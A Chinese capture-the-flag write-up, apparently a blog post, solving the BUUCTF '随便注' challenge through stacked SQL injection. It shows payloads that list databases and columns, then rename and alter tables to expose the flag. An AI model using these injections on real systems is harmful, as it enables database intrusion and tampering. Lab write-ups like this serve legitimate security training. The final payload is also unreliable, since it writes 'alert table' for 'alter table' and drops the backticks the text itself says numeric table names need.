buuctf-随便注

在这里插入图片描述题注上没有什么提示,进入环境
有一个提交查询,点击查询,数字为1时回显如下
在这里插入图片描述
数字为2回显如下,且文本框内数字自动变为1
在这里插入图片描述当数字大于2时,页面不会返回内容。说明字段数为2
看下源码
在这里插入图片描述在这里插入图片描述咳咳,这就过分了哈.我偏要用
先试下’

在这里插入图片描述
在这里插入图片描述再select下
在这里插入图片描述回显了关键字的过滤,union注入没法用
这里有一个知识点就是“堆积注入”
其实就是加了;之后接着注入
1’;show databases;爆下数据库
在这里插入图片描述
再爆个表

在这里插入图片描述好啊。尝试下把表内容爆出来
1’;show columns from words;
在这里插入图片描述没啥有用的
下一个,这里得注意一下,如果表名为数字时,需要使用反引号
1’;show columns from 1919810931114514;
在这里插入图片描述
哦吼,看到了flag字段
这道题目隐约有点印象。以前应该做过相似的题目
后面我们使用修改表名的方法来得到flag
1’; rename table words to 123; rename table 1919810931114514 to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100);#
最后得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一名无聊的网友

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值